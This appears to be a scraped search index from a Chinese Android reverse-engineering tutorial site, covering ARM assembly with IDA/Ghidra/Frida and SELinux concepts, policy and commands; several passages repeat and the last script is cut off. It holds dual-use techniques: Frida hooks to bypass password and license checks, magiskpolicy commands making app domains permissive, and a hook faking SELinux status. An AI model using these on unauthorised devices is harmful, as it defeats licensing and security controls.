jni.h，可以正确标注 JNI 函数。 常用操作：L 重命名、右键 “Retype Variable” 改类型、Window -\u003e “Decompiler” 看反编译。 注意事项：Ghidra 可能在 Thumb/ARM 模式混淆、NEON 指令、尾调用优化等场景产生错误。 Frida 配合汇编分析 在静态分析后，可以用 Frida 动态验证你的理解： // 在特定地址读取寄存器值 (AArch64) Interceptor.attach(ptr(\"0x12345678\"), { onEnter: function(args) { // args[0] 对应 X0, args[1] 对应 X1, ... console.log(\"X0 =\", args[0]); console.log(\"X1 =\", args[1]); // 读取更多寄存器 console.log(\"X8 =\", this.context.x8); console.log(\"SP =\", this.context.sp); console.log(\"LR =\", this.context.lr); // 读取内存 console.log(\"X0 指向的字符串:\", args[0].readUtf8String()); console.log(\"[SP+0x10]:\", this.context.sp.add(0x10).readPointer()); } }); 从汇编到 Frida hook 的工作流 在 IDA/Ghidra 中定位目标函数，分析函数签名 找到关键比较/分支点 (如密码校验、License 检查) 使用 Frida Interceptor.attach 在对应地址 hook，读取或修改寄存器值 如果需要绕过检查，用 Interceptor.replace 替换函数或 Memory.patchCode 修改指令 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:8","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#ida-pro-实用技巧"},{"categories":null,"collections":null,"content":"在 IDA/Ghidra 中阅读 ARM 掌握工具的使用技巧能极大提升逆向效率。 IDA Pro 实用技巧 基本操作 快捷键 功能 Space 在图形视图和文本视图之间切换 F5 反编译 (查看伪代码) G 跳转到指定地址 N 重命名函数/变量 X 查看交叉引用 (Xrefs) Y 修改函数签名/类型 H 切换数值显示格式 (十进制/十六进制) Alt+G 修改段寄存器值 (用于切换 ARM/Thumb) / 在反编译视图中添加注释 ARM 特定技巧 检查 Thumb 模式：如果反汇编看起来不对劲（大量无效指令），可能是 ARM/Thumb 模式判断错误。使用 Alt+G 设置 T 值。 识别字符串引用：在 ARM64 代码中，字符串加载通常是 ADRP + ADD 的组合： ADRP X0, #aHelloWorld@PAGE ; 加载页地址 ADD X0, X0, #aHelloWorld@PAGEOFF ; 加上页内偏移 BL puts ; 调用 puts 结构体偏移：看到连续的 LDR Xn, [X0, #offset] 时，这通常是在访问结构体成员。可以在 IDA 中创建结构体定义来改善可读性。 函数签名恢复：对于 JNI 函数，第一个参数是 JNIEnv*，第二个是 jobject (实例方法) 或 jclass (静态方法)。在 IDA 中设置正确的函数签名后，反编译结果会清晰得多。 Ghidra 实用技巧 导入 .so 文件：选择正确的处理器类型（ARM/AARCH64）和字节序（小端序 LE）。 JNI 头文件：通过 File -\u003e Parse C Source 导入 jni.h，可以正确标注 JNI 函数。 常用操作：L 重命名、右键 “Retype Variable” 改类型、Window -\u003e “Decompiler” 看反编译。 注意事项：Ghidra 可能在 Thumb/ARM 模式混淆、NEON 指令、尾调用优化等场景产生错误。 Frida 配合汇编分析 在静态分析后，可以用 Frida 动态验证你的理解： // 在特定地址读取寄存器值 (AArch64) Interceptor.attach(ptr(\"0x12345678\"), { onEnter: function(args) { // args[0] 对应 X0, args[1] 对应 X1, ... console.log(\"X0 =\", args[0]); console.log(\"X1 =\", args[1]); // 读取更多寄存器 console.log(\"X8 =\", this.context.x8); console.log(\"SP =\", this.context.sp); console.log(\"LR =\", this.context.lr); // 读取内存 console.log(\"X0 指向的字符串:\", args[0].readUtf8String()); console.log(\"[SP+0x10]:\", this.context.sp.add(0x10).readPointer()); } }); 从汇编到 Frida hook 的工作流 在 IDA/Ghidra 中定位目标函数，分析函数签名 找到关键比较/分支点 (如密码校验、License 检查) 使用 Frida Interceptor.attach 在对应地址 hook，读取或修改寄存器值 如果需要绕过检查，用 Interceptor.replace 替换函数或 Memory.patchCode 修改指令 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:8","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#ghidra-实用技巧"},{"categories":null,"collections":null,"content":"在 IDA/Ghidra 中阅读 ARM 掌握工具的使用技巧能极大提升逆向效率。 IDA Pro 实用技巧 基本操作 快捷键 功能 Space 在图形视图和文本视图之间切换 F5 反编译 (查看伪代码) G 跳转到指定地址 N 重命名函数/变量 X 查看交叉引用 (Xrefs) Y 修改函数签名/类型 H 切换数值显示格式 (十进制/十六进制) Alt+G 修改段寄存器值 (用于切换 ARM/Thumb) / 在反编译视图中添加注释 ARM 特定技巧 检查 Thumb 模式：如果反汇编看起来不对劲（大量无效指令），可能是 ARM/Thumb 模式判断错误。使用 Alt+G 设置 T 值。 识别字符串引用：在 ARM64 代码中，字符串加载通常是 ADRP + ADD 的组合： ADRP X0, #aHelloWorld@PAGE ; 加载页地址 ADD X0, X0, #aHelloWorld@PAGEOFF ; 加上页内偏移 BL puts ; 调用 puts 结构体偏移：看到连续的 LDR Xn, [X0, #offset] 时，这通常是在访问结构体成员。可以在 IDA 中创建结构体定义来改善可读性。 函数签名恢复：对于 JNI 函数，第一个参数是 JNIEnv*，第二个是 jobject (实例方法) 或 jclass (静态方法)。在 IDA 中设置正确的函数签名后，反编译结果会清晰得多。 Ghidra 实用技巧 导入 .so 文件：选择正确的处理器类型（ARM/AARCH64）和字节序（小端序 LE）。 JNI 头文件：通过 File -\u003e Parse C Source 导入 jni.h，可以正确标注 JNI 函数。 常用操作：L 重命名、右键 “Retype Variable” 改类型、Window -\u003e “Decompiler” 看反编译。 注意事项：Ghidra 可能在 Thumb/ARM 模式混淆、NEON 指令、尾调用优化等场景产生错误。 Frida 配合汇编分析 在静态分析后，可以用 Frida 动态验证你的理解： // 在特定地址读取寄存器值 (AArch64) Interceptor.attach(ptr(\"0x12345678\"), { onEnter: function(args) { // args[0] 对应 X0, args[1] 对应 X1, ... console.log(\"X0 =\", args[0]); console.log(\"X1 =\", args[1]); // 读取更多寄存器 console.log(\"X8 =\", this.context.x8); console.log(\"SP =\", this.context.sp); console.log(\"LR =\", this.context.lr); // 读取内存 console.log(\"X0 指向的字符串:\", args[0].readUtf8String()); console.log(\"[SP+0x10]:\", this.context.sp.add(0x10).readPointer()); } }); 从汇编到 Frida hook 的工作流 在 IDA/Ghidra 中定位目标函数，分析函数签名 找到关键比较/分支点 (如密码校验、License 检查) 使用 Frida Interceptor.attach 在对应地址 hook，读取或修改寄存器值 如果需要绕过检查，用 Interceptor.replace 替换函数或 Memory.patchCode 修改指令 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/arm_assembly/:1:8","tags":["Native层","Ghidra","Frida","JNI","加密分析","基础知识"],"title":"ARM 汇编入门 (Android Native)","uri":"/reverse_engineering/android/04-reference/foundations/arm_assembly/#frida-配合汇编分析"},{"categories":null,"collections":null,"content":"SELinux 安全机制 SELinux (Security-Enhanced Linux) 是 Android 安全模型的核心组件，从 Android 4.3 开始引入，Android 5.0 后全面强制执行。理解 SELinux 对于逆向工程、Root 检测绕过、应用沙箱分析至关重要。 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:0:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#selinux-安全机制"},{"categories":null,"collections":null,"content":"1. SELinux 基础概念 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:1:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#1-selinux-基础概念"},{"categories":null,"collections":null,"content":"1.1 什么是 SELinux SELinux 是一种强制访问控制 (MAC, Mandatory Access Control) 安全机制，与传统的自主访问控制 (DAC, Discretionary Access Control) 不同： 特性 DAC (传统 Linux) MAC (SELinux) 控制主体 文件所有者 系统策略 权限继承 子进程继承父进程权限 每个进程独立策略 Root 权限 Root 可以做任何事 Root 也受策略限制 灵活性 用户可修改权限 策略由管理员定义 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:1:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#11-什么是-selinux"},{"categories":null,"collections":null,"content":"1.2 SELinux 运行模式 ┌─────────────────────────────────────────────────────────────┐ │ SELinux 运行模式 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ Disabled │ │ Permissive │ │ Enforcing │ │ │ │ (禁用) │ │ (宽容模式) │ │ (强制模式) │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ ↓ ↓ ↓ │ │ 完全禁用 仅记录违规 记录+阻止违规 │ │ 不检查策略 不阻止操作 阻止未授权操作 │ │ │ └─────────────────────────────────────────────────────────────┘ 查看当前模式： # 查看 SELinux 状态 getenforce # 返回: Enforcing / Permissive / Disabled # 查看详细状态 sestatus 切换模式（需要 Root）： # 临时切换到 Permissive 模式 setenforce 0 # 临时切换到 Enforcing 模式 setenforce 1 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:1:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#12-selinux-运行模式"},{"categories":null,"collections":null,"content":"1.3 核心概念 概念 说明 示例 Subject (主体) 执行操作的进程 u:r:untrusted_app:s0 Object (客体) 被访问的资源 文件、Socket、设备 Context (上下文) 安全标签 u:object_r:app_data_file:s0 Policy (策略) 访问控制规则 allow untrusted_app app_data_file:file read; Domain (域) 进程运行的安全上下文 untrusted_app, system_app Type (类型) 资源的安全标签 app_data_file, system_file ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:1:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#13-核心概念"},{"categories":null,"collections":null,"content":"2. Android SELinux 架构 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:2:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#2-android-selinux-架构"},{"categories":null,"collections":null,"content":"2.1 架构概览 ┌─────────────────────────────────────────────────────────────────────┐ │ Android SELinux 架构 │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ User Space (用户空间) │ │ │ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │ │ │ │ App │ │ System │ │ Zygote │ │ Init │ │ │ │ │ │ Process │ │ Server │ │ │ │ │ │ │ │ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │ │ │ │ │ │ │ │ │ │ │ ↓ ↓ ↓ ↓ │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ │ │ libselinux.so (SELinux 库) │ │ │ │ │ └─────────────────────────┬───────────────────────────┘ │ │ │ └────────────────────────────┼───────────────────────────────┘ │ │ │ │ │ ┌────────────────────────────┼───────────────────────────────┐ │ │ │ Kernel Space (内核空间) │ │ │ │ ↓ │ │ │ │ ┌─────────────────────────────────────────────────────┐ │ │ │ │ │ SELinux Security Server │ │ │ │ │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ │ │ │ │ Policy │ │ Access │ │ Audit │ │ │ │ │ │ │ │ Database │ │ Vector │ │ Log │ │ │ │ │ │ │ │ │ │ Cache │ │ │ │ │ │ │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ │ │ └─────────────────────────────────────────────────────┘ │ │ │ └────────────────────────────────────────────────────────────┘ │ │ │ │ ┌─────────────────────────────────────────────────────────────┐ │ │ │ SELinux Policy Files │ │ │ │ /system/etc/selinux/ /vendor/etc/selinux/ │ │ │ │ - plat_sepolicy.cil - vendor_sepolicy.cil │ │ │ │ - plat_file_contexts - vendor_file_contexts │ │ │ │ - plat_property_contexts │ │ │ └─────────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:2:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#21-架构概览"},{"categories":null,"collections":null,"content":"2.2 策略文件位置 # Android 8.0+ (Treble 架构) /system/etc/selinux/ # 平台策略 /vendor/etc/selinux/ # 厂商策略 /odm/etc/selinux/ # ODM 策略 # 主要文件 plat_sepolicy.cil # 编译后的策略 plat_file_contexts # 文件上下文映射 plat_property_contexts # 系统属性上下文 plat_service_contexts # 服务上下文 plat_seapp_contexts # 应用上下文规则 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:2:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#22-策略文件位置"},{"categories":null,"collections":null,"content":"2.3 Android 进程域分类 域 (Domain) 说明 典型进程 init Init 进程 /init kernel 内核线程 kthreadd zygote Zygote 进程 zygote, zygote64 system_server 系统服务 system_server system_app 系统应用 预装系统 App platform_app 平台签名应用 使用平台签名的 App priv_app 特权应用 /system/priv-app/ 下的 App untrusted_app 普通应用 第三方 App isolated_app 隔离进程 isolatedProcess=true shell Shell 进程 adb shell su Root 进程 Magisk su magisk Magisk 域 Magisk 守护进程 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:2:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#23-android-进程域分类"},{"categories":null,"collections":null,"content":"3. 安全上下文与标签 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:3:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#3-安全上下文与标签"},{"categories":null,"collections":null,"content":"3.1 上下文格式 SELinux 安全上下文格式： user:role:type:sensitivity[:categories] 示例解析： u:r:untrusted_app:s0:c512,c768 │ │ │ │ └─────────── 类别 (MLS/MCS) │ │ │ └───────────── 敏感度级别 │ │ └──────────────────────────── 类型/域 │ └────────────────────────────── 角色 └──────────────────────────────── 用户 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:3:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#31-上下文格式"},{"categories":null,"collections":null,"content":"3.2 查看上下文 # 查看进程上下文 ps -Z # 输出示例: # u:r:untrusted_app:s0:c512,c768 u0_a123 12345 com.example.app # 查看文件上下文 ls -Z /data/data/com.example.app/ # 输出示例: # u:object_r:app_data_file:s0:c512,c768 files # 查看当前进程上下文 cat /proc/self/attr/current # 或 id -Z # 查看 Socket 上下文 ss -Z # 查看系统属性上下文 getprop -Z ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:3:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#32-查看上下文"},{"categories":null,"collections":null,"content":"3.3 上下文转换 ┌─────────────────────────────────────────────────────────────┐ │ 进程上下文转换流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ Zygote (u:r:zygote:s0) │ │ │ │ │ │ fork() │ │ ↓ │ │ App Process (初始: u:r:zygote:s0) │ │ │ │ │ │ setcon() 域转换 │ │ ↓ │ │ App Process (最终: u:r:untrusted_app:s0:c512,c768) │ │ │ └─────────────────────────────────────────────────────────────┘ seapp_contexts 规则示例： # /system/etc/selinux/plat_seapp_contexts user=_app seinfo=platform domain=platform_app type=app_data_file user=_app isPrivApp=true domain=priv_app type=privapp_data_file user=_app domain=untrusted_app type=app_data_file user=_isolated domain=isolated_app ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:3:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#33-上下文转换"},{"categories":null,"collections":null,"content":"4. SELinux 策略分析 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:4:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#4-selinux-策略分析"},{"categories":null,"collections":null,"content":"4.1 策略规则语法 allow 规则： allow source_type target_type:class permissions; 示例： # 允许 untrusted_app 域读取 app_data_file 类型的文件 allow untrusted_app app_data_file:file { read open getattr }; # 允许 untrusted_app 连接到 app_api_service allow untrusted_app app_api_service:service_manager find; # 允许 untrusted_app 使用 Binder IPC allow untrusted_app servicemanager:binder { call transfer }; ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:4:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#41-策略规则语法"},{"categories":null,"collections":null,"content":"4.2 其他规则类型 # neverallow - 禁止规则（编译时检查） neverallow untrusted_app system_file:file write; # dontaudit - 不记录拒绝日志 dontaudit untrusted_app self:capability sys_ptrace; # auditallow - 允许但记录日志 auditallow untrusted_app app_data_file:file write; # type_transition - 类型转换 type_transition untrusted_app app_data_file:file app_tmp_file; ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:4:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#42-其他规则类型"},{"categories":null,"collections":null,"content":"4.3 提取和分析策略 # 从设备提取策略 adb pull /sys/fs/selinux/policy ./policy.bin # 使用 seinfo 分析策略（需要 setools） seinfo policy.bin # 查看所有类型 seinfo -t policy.bin # 查看所有域 seinfo -a domain -x policy.bin # 使用 sesearch 搜索规则 # 搜索 untrusted_app 的所有 allow 规则 sesearch -A -s untrusted_app policy.bin # 搜索对特定类型的访问规则 sesearch -A -t app_data_file policy.bin # 搜索特定权限 sesearch -A -p write -t system_file policy.bin ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:4:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#43-提取和分析策略"},{"categories":null,"collections":null,"content":"4.4 分析 file_contexts # 查看文件上下文映射 cat /system/etc/selinux/plat_file_contexts # 常见映射示例 /data(/.*)? u:object_r:system_data_file:s0 /data/app(/.*)? u:object_r:apk_data_file:s0 /data/data(/.*)? u:object_r:app_data_file:s0 /data/local/tmp(/.*)? u:object_r:shell_data_file:s0 /system(/.*)? u:object_r:system_file:s0 /vendor(/.*)? u:object_r:vendor_file:s0 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:4:4","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#44-分析-file_contexts"},{"categories":null,"collections":null,"content":"5. 常用命令与工具 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:5:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#5-常用命令与工具"},{"categories":null,"collections":null,"content":"5.1 基础命令 # 查看 SELinux 状态 getenforce # 获取当前模式 sestatus # 详细状态信息 # 切换模式（需要 Root） setenforce 0 # Permissive setenforce 1 # Enforcing # 上下文操作 id -Z # 当前进程上下文 ps -eZ # 所有进程上下文 ls -Z # 文件上下文 # 修改文件上下文（需要 Root） chcon u:object_r:system_file:s0 /path/to/file restorecon /path/to/file # 恢复默认上下文 # 查看拒绝日志 dmesg | grep avc # 内核日志中的 AVC 拒绝 logcat | grep avc # logcat 中的 AVC 拒绝 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:5:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#51-基础命令"},{"categories":null,"collections":null,"content":"5.2 分析工具 工具 用途 安装方式 setools 策略分析工具集 apt install setools seinfo 查看策略信息 setools 包含 sesearch 搜索策略规则 setools 包含 audit2allow 生成 allow 规则 apt install policycoreutils sepolicy-analyze Android 策略分析 AOSP 构建 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:5:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#52-分析工具"},{"categories":null,"collections":null,"content":"5.3 AVC 拒绝日志分析 # AVC 拒绝日志格式 avc: denied { read } for pid=12345 comm=\"com.example.app\" \\ name=\"secret.txt\" dev=\"dm-0\" ino=123456 \\ scontext=u:r:untrusted_app:s0:c512,c768 \\ tcontext=u:object_r:system_data_file:s0 \\ tclass=file permissive=0 # 字段说明 # denied { read } - 被拒绝的操作 # pid=12345 - 进程 ID # comm=\"com.example.app\" - 进程名 # name=\"secret.txt\" - 目标文件名 # scontext=... - 源上下文（进程） # tcontext=... - 目标上下文（文件） # tclass=file - 目标类别 # permissive=0 - 是否为 Permissive 模式 使用 audit2allow 生成规则： # 从日志生成 allow 规则 adb shell dmesg | audit2allow -p policy.bin # 输出示例 #============= untrusted_app ============== allow untrusted_app system_data_file:file read; ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:5:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#53-avc-拒绝日志分析"},{"categories":null,"collections":null,"content":"6. 逆向工程中的 SELinux ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:6:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#6-逆向工程中的-selinux"},{"categories":null,"collections":null,"content":"6.1 SELinux 对逆向的影响 ┌─────────────────────────────────────────────────────────────┐ │ SELinux 对逆向工程的限制 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ ┌─────────────┐ SELinux ┌─────────────┐ │ │ │ Frida │ ───────────────→ │ App 进程 │ │ │ │ Server │ ptrace │ │ │ │ └─────────────┘ denied └─────────────┘ │ │ │ │ 限制场景: │ │ 1. ptrace 附加进程 │ │ 2. 读写 /proc/pid/mem │ │ 3. 注入 .so 文件 │ │ 4. 访问其他应用数据 │ │ 5. 执行特权操作 │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:6:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#61-selinux-对逆向的影响"},{"categories":null,"collections":null,"content":"6.2 检测 SELinux 状态 Java 层检测： public class SELinuxChecker { // 方法1: 通过 System 属性 public static String getSELinuxStatus() { try { Class\u003c?\u003e c = Class.forName(\"android.os.SystemProperties\"); Method get = c.getMethod(\"get\", String.class, String.class); return (String) get.invoke(null, \"ro.build.selinux\", \"unknown\"); } catch (Exception e) { return \"unknown\"; } } // 方法2: 通过执行命令 public static boolean isEnforcing() { try { Process process = Runtime.getRuntime().exec(\"getenforce\"); BufferedReader reader = new BufferedReader( new InputStreamReader(process.getInputStream())); String result = reader.readLine(); return \"Enforcing\".equals(result); } catch (Exception e) { return true; // 默认假设是 Enforcing } } // 方法3: 读取 /sys/fs/selinux/enforce public static int getEnforceValue() { try { BufferedReader reader = new BufferedReader( new FileReader(\"/sys/fs/selinux/enforce\")); String line = reader.readLine(); reader.close(); return Integer.parseInt(line.trim()); } catch (Exception e) { return -1; } } } Native 层检测： #include \u003cstdio.h\u003e #include \u003cselinux/selinux.h\u003e // 获取 SELinux 模式 int get_selinux_mode() { // 返回值: 1 = Enforcing, 0 = Permissive, -1 = Error return security_getenforce(); } // 获取当前进程上下文 char* get_current_context() { char *context = NULL; if (getcon(\u0026context) == 0) { return context; } return NULL; } // 获取文件上下文 char* get_file_context(const char *path) { char *context = NULL; if (getfilecon(path, \u0026context) == 0) { return context; } return NULL; } // 检查是否可以访问 int check_access(const char *scon, const char *tcon, const char *tclass, const char *perm) { return selinux_check_access(scon, tcon, tclass, perm, NULL); } ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:6:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#62-检测-selinux-状态"},{"categories":null,"collections":null,"content":"6.3 Frida 检测 SELinux // Frida 脚本: 检测 SELinux 状态 function checkSELinux() { console.log(\"[*] Checking SELinux status...\"); // 方法1: 读取 enforce 文件 try { var enforce = File.readAllText(\"/sys/fs/selinux/enforce\"); console.log(\"[*] /sys/fs/selinux/enforce: \" + enforce.trim()); } catch (e) { console.log(\"[!] Cannot read enforce file: \" + e); } // 方法2: 读取当前进程上下文 try { var context = File.readAllText(\"/proc/self/attr/current\"); console.log(\"[*] Current context: \" + context.trim()); } catch (e) { console.log(\"[!] Cannot read context: \" + e); } // 方法3: Hook getenforce var getenforce = Module.findExportByName(\"libc.so\", \"security_getenforce\"); if (getenforce) { Interceptor.attach(getenforce, { onLeave: function(retval) { console.log(\"[*] security_getenforce() = \" + retval); } }); } } // 检测 SELinux 上下文获取 function hookSELinuxContextAPIs() { // Hook getcon var getcon = Module.findExportByName(\"libselinux.so\", \"getcon\"); if (getcon) { Interceptor.attach(getcon, { onEnter: function(args) { this.contextPtr = args[0]; }, onLeave: function(retval) { if (retval.toInt32() === 0) { var context = Memory.readPointer(this.contextPtr); console.log(\"[*] getcon() = \" + Memory.readCString(context)); } } }); } // Hook getfilecon var getfilecon = Module.findExportByName(\"libselinux.so\", \"getfilecon\"); if (getfilecon) { Interceptor.attach(getfilecon, { onEnter: function(args) { this.path = Memory.readCString(args[0]); this.contextPtr = args[1]; }, onLeave: function(retval) { if (retval.toInt32() \u003e= 0) { var context = Memory.readPointer(this.contextPtr); console.log(\"[*] getfilecon(\" + this.path + \") = \" + Memory.readCString(context)); } } }); } } ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:6:3","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#63-frida-检测-selinux"},{"categories":null,"collections":null,"content":"7. SELinux 绕过技术 ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:7:0","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#7-selinux-绕过技术"},{"categories":null,"collections":null,"content":"7.1 Magisk 的 SELinux 处理 Magisk 通过以下方式处理 SELinux： ┌─────────────────────────────────────────────────────────────┐ │ Magisk SELinux 处理流程 │ ├─────────────────────────────────────────────────────────────┤ │ │ │ 1. 注入自定义 SELinux 规则 │ │ ┌─────────────────────────────────────────────────┐ │ │ │ magiskpolicy --live │ │ │ │ \"allow magisk * * *\" │ │ │ │ \"allow su * * *\" │ │ │ └─────────────────────────────────────────────────┘ │ │ │ │ 2. 创建 magisk 和 su 域 │ │ ┌─────────────────────────────────────────────────┐ │ │ │ type magisk domain │ │ │ │ type su domain │ │ │ │ permissive magisk │ │ │ │ permissive su │ │ │ └─────────────────────────────────────────────────┘ │ │ │ │ 3. 上下文转换 │ │ App (untrusted_app) → su → magisk │ │ │ └─────────────────────────────────────────────────────────────┘ ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:7:1","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#71-magisk-的-selinux-处理"},{"categories":null,"collections":null,"content":"7.2 动态修改 SELinux 策略 # 使用 magiskpolicy 修改策略 magiskpolicy --live \"allow untrusted_app system_file file read\" magiskpolicy --live \"allow untrusted_app app_data_file file *\" # 添加 permissive 域 magiskpolicy --live \"permissive untrusted_app\" # 类型转换规则 magiskpolicy --live \"type_transition untrusted_app system_file:process su\" ","date":"2024-07-22","objectID":"/reverse_engineering/android/04-reference/foundations/selinux/:7:2","tags":["Native层","签名验证","Frida","基础知识","Hook","Smali"],"title":"SELinux 安全机制","uri":"/reverse_engineering/android/04-reference/foundations/selinux/#72-动态修改-selinux-策略"},{"categories":null,"collections":null,"content":"7.3 Frida SELinux 绕过 // 绕过 SELinux 上下文检查 function bypassSELinuxCheck() { // Hook security_getenforce 返回 0 (Permissive) var security_getenforce = Module.findExportByName(\"libselinux.so\", \"security_getenforce\"); if (security_getenforce) { Interceptor.replace(security_getenforce, new NativeCallback(function() { return 0; // 返回 Permissive }, 'int', [])); console.log(\"[*] Hooked security_getenforce -\u003e always return 0\"); } // Hook selinux_check_access 总是返回成功 var selinux_check_access = 